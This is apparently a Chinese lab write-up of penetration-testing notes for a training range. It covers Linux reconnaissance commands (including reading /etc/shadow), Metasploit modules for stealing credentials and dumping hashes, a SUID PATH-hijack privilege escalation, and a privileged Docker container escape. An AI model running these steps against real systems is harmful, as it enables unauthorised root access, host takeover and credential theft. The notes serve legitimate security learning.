渗透测试笔记-kali学习(三)-红日靶场(七)

一、Linux信息收集

(一)手动信息收集

1.系统信息

uname -a:显示系统内核版本、主机名、内核版本等。
cat /etc/os-release:显示操作系统版本信息。
lsb_release -a:显示操作系统的详细版本信息(如果安装了 lsb-release 包)。
grep -i 'vmware\|virtual\|kvm\|hyperv' /proc/cpuinfo:查看CPU信息,通常虚拟化环境会在/proc/cpuinfo中包含有关虚拟化的标识信息
cat /sys/class/dmi/id/product_name:这个文件通常会包含有关虚拟化的产品名称信息
grep 'docker' /proc/1/cgroup:判断当前shell,是否在docker容器中

2.网络信息

ifconfig 或 ip addr:显示网络接口信息。
netstat -tuln:显示监听端口和服务。
ss -tuln:显示更详细的网络连接信息。

3.用户信息

whoami:查看当前用户信息
id
who: 显示当前登录的用户信息,包括登录时间和终端
w :显示当前登录的用户及他们的活动,包括他们的登录时间、终端、远程主机和当前执行的命令
users :简单地列出当前登录的所有用户
last : 显示系统的登录记录,包括登录和注销事件
lastlog :显示所有用户的最后登录信息
faillog : 显示失败登录尝试的信息,包括失败次数和相关用户
groups : 显示当前用户所属的所有组
cat /etc/passwd:列出系统上的用户及其基本信息
cat /etc/shadow:查看用户密码的加密信息(需要root权限)
cat /etc/group:查看系统中所有的用户组

4.服务进程

ps aux 或 top:显示当前运行的进程和系统资源使用情况。
systemctl list-units --type=service:列出所有服务及其状态。

5.文件目录

ls -la:列出文件和目录的详细信息,包括权限和所有者。
find / -type f -perm -4000:查找具有SUID权限的文件,这可能表示潜在的权限提升漏洞。

6.配置文件

cat /etc/ssh/sshd_config:查看SSH服务的配置。
cat /etc/sudoers:检查sudo权限的配置。

7.日志文件

cat /var/log/auth.log 或 journalctl -u ssh:查看认证日志,可能含有登录尝试和其他安全相关信息。
cat /var/log/syslog:查看系统日志。

8.定时任务

cat /etc/crontab : 系统范围的cron任务配置文件,定义了系统范围内的定时任务
ls /etc/cron.d/ : ls /etc/cron.d/ 该目录下的文件包含了系统范围的cron任务。可以列出该目录中的所有文件
sudo ls /var/spool/cron/crontabs/ 这个目录下包含了各个用户的cron任务。通常需要root权限来查看该目录中的文件
crontab -l : 列出当前用户的cron任务
ls /etc/cron.hourly/ : ls /etc/cron.hourly/

(二)msf信息收集模块


    post/linux/gather/ansible: 收集Ansible配置。
    post/linux/gather/ansible_playbook_error_message_file_reader: 读取Ansible playbook的错误消息文件。
    post/linux/gather/apache_nifi_credentials: 收集Apache NiFi凭证。
    post/linux/gather/enum_commands: 收集可用的Shell命令。
    post/linux/gather/ecryptfs_creds: 收集eCryptfs元数据。
    post/linux/gather/f5_loot_mcp: 从F5 Big-IP MCP数据存储中收集信息。
    post/linux/gather/gnome_keyring_dump: Dump Gnome-Keyring。
    post/linux/gather/haserl_read: 读取Haserl任意文件。
    post/linux/gather/enum_containers: 枚举Linux容器。
    post/linux/gather/enum_configs: 收集Linux配置文件。
    post/linux/gather/checkcontainer: 检测Linux容器。
    post/linux/gather/hashdump: 收集Linux系统的密码哈希。
    post/linux/gather/gnome_commander_creds: 收集Gnome-Commander凭证。
    post/linux/gather/manageengine_password_manager_creds: 收集ManageEngine密码管理器凭证。
    post/linux/gather/enum_network: 收集网络信息。
    post/linux/gather/enum_psk: 收集NetworkManager 802.11无线安全凭证。
    post/linux/gather/pptpd_chap_secrets: 收集PPTP VPN chap-secrets凭证。
    post/linux/gather/enum_protections: 收集保护机制信息。
    post/linux/gather/mount_cifs_creds: 收集保存的mount.cifs/mount.smbfs凭证。
    post/linux/gather/enum_system: 收集系统和用户信息。
    post/linux/gather/tor_hiddenservices: 收集TOR隐藏服务信息。
    post/linux/gather/enum_users_history: 收集用户历史记录。
    post/linux/gather/checkvm: 检测虚拟环境。
    post/linux/gather/openvpn_credentials: 收集OpenVPN凭证。
    post/linux/gather/phpmyadmin_credsteal: 偷取Phpmyadmin凭证。
    post/linux/gather/puppet: 收集Puppet配置。
    post/linux/gather/rancher_audit_log_leak: 漏洒Rancher审计日志的敏感信息。
    post/linux/gather/vcenter_secrets_dump: VMware vCenter秘密转储。
    post/linux/gather/mimipenguin: 收集MimiPenguin数据。
    post/linux/gather/enum_nagios_xi: 枚举Nagios XI信息。
    post/linux/gather/puppet: 收集Puppet配置。
    post/linux/gather/rancher_audit_log_leak: 漏洒Rancher审计日志的敏感信息。

二、SUID权限提升

1.SUID介绍

SUID(Set User ID)权限是Linux和Unix系统中的一种特殊文件权限。当一个程序或脚本设置了SUID权限时,即使普通用户运行该程序,它也会以程序所有者的身份执行。这个机制常用于允许普通用户执行需要更高权限的操作,而不需要直接授予他们这些权限

SUID位的设置允许程序在执行时,以其文件所有者的权限运行,而不是执行者的权限。例如,如果一个程序的所有者是root,并且该程序设置了SUID位,那么任何用户运行这个程序时,程序都会以root权限执行。

在文件的权限列表中,SUID位通常用字母sS表示。例如,-rwsr-xr-x 表示一个具有SUID权限的文件,其中的s位于所有者权限部分的位置。

2.SUID利用

查找配置了SUID的文件

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

 

find /  : 从根目录开始搜索文件和目录。
-perm 4000 -type f: 查找所有权限设置为特定值的普通文件(-type f 表示普通文件)。 -perm 需要后面指定权限值。
-exec ls -la {} \;  :  对每一个找到的文件执行 ls -la 命令,{} 是 find 命令中占位符,用来替换为当前找到的文件名,\; 用于结束 -exec 命令。

$PATH变量劫持

  发现/home/jobs/shell这个可执行文件与ps命令的运行结果类似

xxd /home/jobs/shell | grep "ps"

 /home/jobs/shell程序调用了ps命令

echo "/bin/bash" > /tmp/ps
#tmp文件夹创建一个ps文件
chmod +x /tmp/ps 
#给文件增加可执行文件
export PATH=/tmp:$PATH
#修改环境变量

 可执行文件里面调用了ps命令,如果不是使用绝对路径,文件调用的ps命令会通过环境变量查找,而环境变量已经被修改了,第一个目录为/tmp,在tmp目录的ps文件为一个shell文件。/home/jobs/shell文件具有SUID权限,且文件的所有者为root。此时获取到的shell权限极为root权限

 可以看到运行shell文件后输入id,我们的权限变为了root权限

三、Docker逃逸

经过前面的信息收集我们知道机器在docker环境中,需要逃逸出来。在Docker中,特权模式允许容器拥有比默认容器更多的系统权限。这种模式虽然在某些场景下可能很有用,但也可能导致安全风险。特权模式逃逸利用了这些权限来获取对宿主机的访问或控制。

特权模式 容器具有以下权限:

  • 完整访问宿主机的 /dev 目录
  • 访问宿主机的内核功能
  • 挂载宿主机的文件系统
fdisk -l : 默认情况下,不是特权模式,容器无法查看磁盘
cat /proc/self/status | grep CapEff 特权值为0000003fffffffff

                                                      确认是特权模式

mkdir /tmp/flag : 在容器内创建一个目录 /tmp/flag,这个目录将用于挂载宿主机的文件系统
fdisk -l | grep sda :使用 fdisk 列出所有磁盘分区,并使用 grep 查找包含 sda 的条目。这通常会列出宿主机上的磁盘设备及其分区。
mount /dev/sda1 /tmp/flag/ :将宿主机的 /dev/sda1 分区挂载到容器内的 /tmp/flag 目录。这使得容器可以访问宿主机的文件系统
cd /tmp/flag/ 
chroot ./ bash :使用 chroot 命令将当前目录(/tmp/flag)作为新的根目录,并启动一个新的 bash shell。这样,你在这个 bash shell 中的根目录将是 /tmp/flag,实际上就是宿主机上的 /dev/sda1 分区的内容

可以看到成功逃逸,home目录下为ubuntu,exit退出,变为了jobs

 

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值